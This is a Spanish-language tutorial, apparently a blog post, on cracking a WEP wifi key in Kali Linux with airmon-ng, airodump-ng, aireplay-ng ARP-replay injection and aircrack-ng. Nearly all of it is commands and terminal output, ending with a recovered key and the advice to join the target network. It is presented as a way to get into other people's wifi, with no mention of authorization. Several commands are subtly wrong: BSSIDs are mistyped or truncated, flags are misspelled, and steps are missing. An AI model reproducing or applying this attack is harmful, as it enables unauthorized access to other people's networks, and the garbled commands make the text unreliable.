

MANERAS FÁCILES DE HACKEAR LA CONTRASEÑA DE WIFI EN KALI LINUX

Maneras fáciles de hackear la contraseña de Wifi en Kali Linux



En esta publicación, aprenderemos cómo hackear fácilmente las contraseñas wifi en tiempos de Linux. ¿Por qué a veces debe ser Linux? En realidad, la piratería se puede realizar en cualquier sistema operativo, pero la mayoría de los piratas informáticos utilizan Linux porque la herramienta de piratería está completa y lista para ejecutarse. Del mismo modo, para la piratería de contraseñas, hay una forma fácil, es decir, simplemente ejecutamos la aplicación desde el sistema operativo predeterminado de Linux. El nombre de la herramienta para hackear contraseñas de WiFi en tiempos de Linux es **Aircrack-ng**.

En esta publicación solo usamos la herramienta de hackeo de Linux predeterminada.

Lo que tenemos que hacer es

1. Prepare Kali Linux y asegúrese de que no esté conectado a ningún wifi con el comando `airmon-ng check kill`
2. Ingrese a la terminal, luego escriba el comando `airmon-ng`

```
root@kali: ~  
File Edit View Search Terminal Help  
root@kali:~# airmon-ng  
PHY      Interface      Driver      Chipset  
phy0     wlan0mon         ath9k       Qualcomm Atheros AR9485 Wireless Network  
Adapter (rev 01)
```

3. Luego cambiaremos la interfaz wlan 0 a wlan0mon, escriba el comando `airmon-ng start wlan0`

```
root@kali:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  1191 NetworkManager
  1384 wpa_supplicant

PHY      Interface      Driver      Chipset
phy0     wlan0mon          ath9k       Qualcomm Atheros AR9485 Wireless Network
Adapter (rev 01)
```

4. A continuación, escriba el comando `airodump-ng wlan0mon`. Este comando se usa para ver todas las redes wifi disponibles en wlan0mon.

```
CH 9 || Elapsed: 0 s || 2017-11-01 14:41

BSSID            PWR Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:0B:68:D9:29:1C -79      4           0  0  3  54  . WPA2 CCMP PSK Labjarkom
02:0B:68:D9:29:55 -77      4           1  0  3  54  . WEP WEP     TARGET AIRCRACK
F4:8B:32:A7:0B:96 -78      2           0  0  6  54e WPA CCMP PSK BST7-VG9tamSnX3Nld0
3C:0E:23:89:2B:60 -58      5           0  0  6  54e OPN     @wifi.id
CC:2D:83:83:20:15 -76      2           0  0  6  54e WPA CCMP PSK hamba Allah
3C:0E:23:89:2B:61 -58      4           0  0  6  54e WPA2 CCMP MGT flashzone-seamless
3C:0E:23:89:2B:62 -58      5           0  0  6  54e WPA2 CCMP MGT seamless@wifi.id
1C:E6:C7:C4:8A:20 -68      4           0  0  1  54e OPN     @wifi.id
94:39:E5:E5:C8:7F -74      3           0  0  3  54e WPA2 CCMP PSK Connectify-
00:02:6F:79:67:88 -67      5           6  0  1  54  . OPN     Wifi Polinela 4
6E:3B:68:61:F8:5E -78      2           0  0  1  54e WPA2 CCMP PSK @Lab.analisis
02:0B:68:D9:29:1C -78      3           7  0  3  54  . OPN     Labjarkom
1C:E6:C7:C4:8A:21 -66      2           0  0  1  54e WPA2 CCMP MGT flashzone-seamless
1C:E6:C7:C4:8A:22 -66      4           0  0  1  54e WPA2 CCMP MGT seamless@wifi.id
CC:7B:35:70:3B:EA -77      5           0  0  10 54e WPA CCMP PSK LAB
3C:0E:23:89:25:00 -81      1           1  0  11 54e OPN     @wifi.id

BSSID            STATION            PWR  Rate  Lost  Frames  Probe
(not associated)  74:C6:38:D5:DA:07 -67    0 - 1    6      5
02:0B:68:D9:29:55 74:23:44:14:3E:BB -42    0 - 6    0      1
02:0B:68:D9:29:55 54:8C:A0:5A:DE:9F -75    0 -54    0      1
02:0B:68:D9:29:55 D0:DF:9A:22:34:76 -83    0 - 1    0      1
00:02:6F:79:67:88 C8:FF:28:FC:76:97 -65    5 - 1    0      8
02:0B:68:D9:29:1C 78:E4:00:FC:55:E9 -70   24 -48    0      2
02:0B:68:D9:29:1C 28:C2:D0:4B:53:E4 -73   36 - 1    2      7 Labjarkom
02:0B:68:D9:29:1C 10:08:B1:02:53:07 -85    0 - 1    0      1
```

5. Después de encontrar el objetivo de wifi para piratear, abra un nuevo terminal e ingrese el comando `airodump-ng -c 3 -w save -bssid 02: 0B: 6B: D9: 29: 55 wlan0mon`. Save it es el CSS del WiFi de destino, el cual crearemos una nueva lista con el nombre save.cap. el resultado es un proceso que no se detiene debido a la ejecución del tráfico.

```
CH 3 || Elapsed: 24 s || 2017-11-01 14:44

BSSID            PWR RXQ Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH E
02:0B:68:D9:29:55 -76      7        212    778   9   3  54  . WEP WEP     T

BSSID            STATION            PWR  Rate  Lost  Frames  Probe
02:0B:68:D9:29:55 D0:DF:9A:22:34:76 -80    0 -24    0      2
02:0B:68:D9:29:55 74:23:44:14:3E:BB -35   36 - 6    0     118
02:0B:68:D9:29:55 C8:D7:79:75:48:E0 -43   18 - 1    0      69
02:0B:68:D9:29:55 28:C2:D0:C7:21:C0 -73    0 -48    0      27
02:0B:68:D9:29:55 54:8C:A0:5A:DE:9F -76   36 -36   136    288
02:0B:68:D9:29:55 28:E3:47:82:08:F8 -73   36 -48   112    317
02:0B:68:D9:29:55 2C:D0:5A:15:9D:60 -83   36 - 1    3      37
```

```
comando aireplay-ng -l 0 -a 02: 0B: 6B: D9: 29: 55 wlan0mon
```

```
comando aireplay-ng -3 -b 02: 0B: 6B: D9: 29: 5 wlan0mon
```

```
root@kali:~# aireplay-ng -3 -b 02:08:68:D9:29:55 wlan0mon
No source MAC (-h) specified. Using the device MAC (40:E2:38:28:AF:AD)
14:46:24 Waiting for beacon frame (BSSID: 02:08:68:D9:29:55) on channel 3
Saving ARP requests in replay arp-1101-144624.cap
You should also start airodump-ng to capture replies.
Read 1631 packets (got 55 ARP requests and 113 ACKs), sent 125 packets...(498 p
Read 1781 packets (got 62 ARP requests and 158 ACKs), sent 176 packets...(501 p
Read 1915 packets (got 77 ARP requests and 193 ACKs), sent 226 packets...(501 p
Read 2063 packets (got 88 ARP requests and 238 ACKs), sent 275 packets...(498 p
Read 2213 packets (got 125 ARP requests and 283 ACKs), sent 325 packets...(499
Read 2350 packets (got 140 ARP requests and 326 ACKs), sent 376 packets...(500
Read 2446 packets (got 160 ARP requests and 358 ACKs), sent 426 packets...(500
Read 2582 packets (got 187 ARP requests and 417 ACKs), sent 476 packets...(500
Read 2748 packets (got 200 ARP requests and 454 ACKs), sent 526 packets...(500
```

8. Finalmente escriba el comando `aircrack-ng save.cap`. Espere hasta que el proceso se complete, se encontrará así.

```

01:29:55 00:00:00 Aircrack-ng 1.2 rc4
01:29:55 00:00:00 [00:00:16] Tested 15518 keys (got 27396 IVs)
01:29:55 00:00:00
01:29:55 00:00:00 KB depth byte(vote)
01:29:55 00:00:00 0 16/ 18 CA(32512) 70(32256) 54(32000) 8B(32000) B5(32000)
01:29:55 00:00:00 1 6/ 25 6F(34816) 68(34560) 42(34304) BA(33280) 35(33024)
01:29:55 00:00:00 2 0/ 6 6C(39424) 7A(37888) 64(36096) 15(35584) A2(35328)
01:29:55 00:00:00 3 0/ 1 69(41984) 49(34816) 4B(34048) E5(33792) 35(33536)
01:29:55 00:00:00 4 0/ 6 6E(39168) 58(35072) 6A(35072) 73(34816) 6B(34560)
01:29:55 00:00:00
01:29:55 00:00:00 KEY FOUND! [ 70:6F:6C:69:6E ] (ASCII: polin )
01:29:55 00:00:00 Decrypted correctly: 100%

```

El último paso es conectarse al wifi de destino con la contraseña encontrada.

Buena suerte ...

RegardsHacking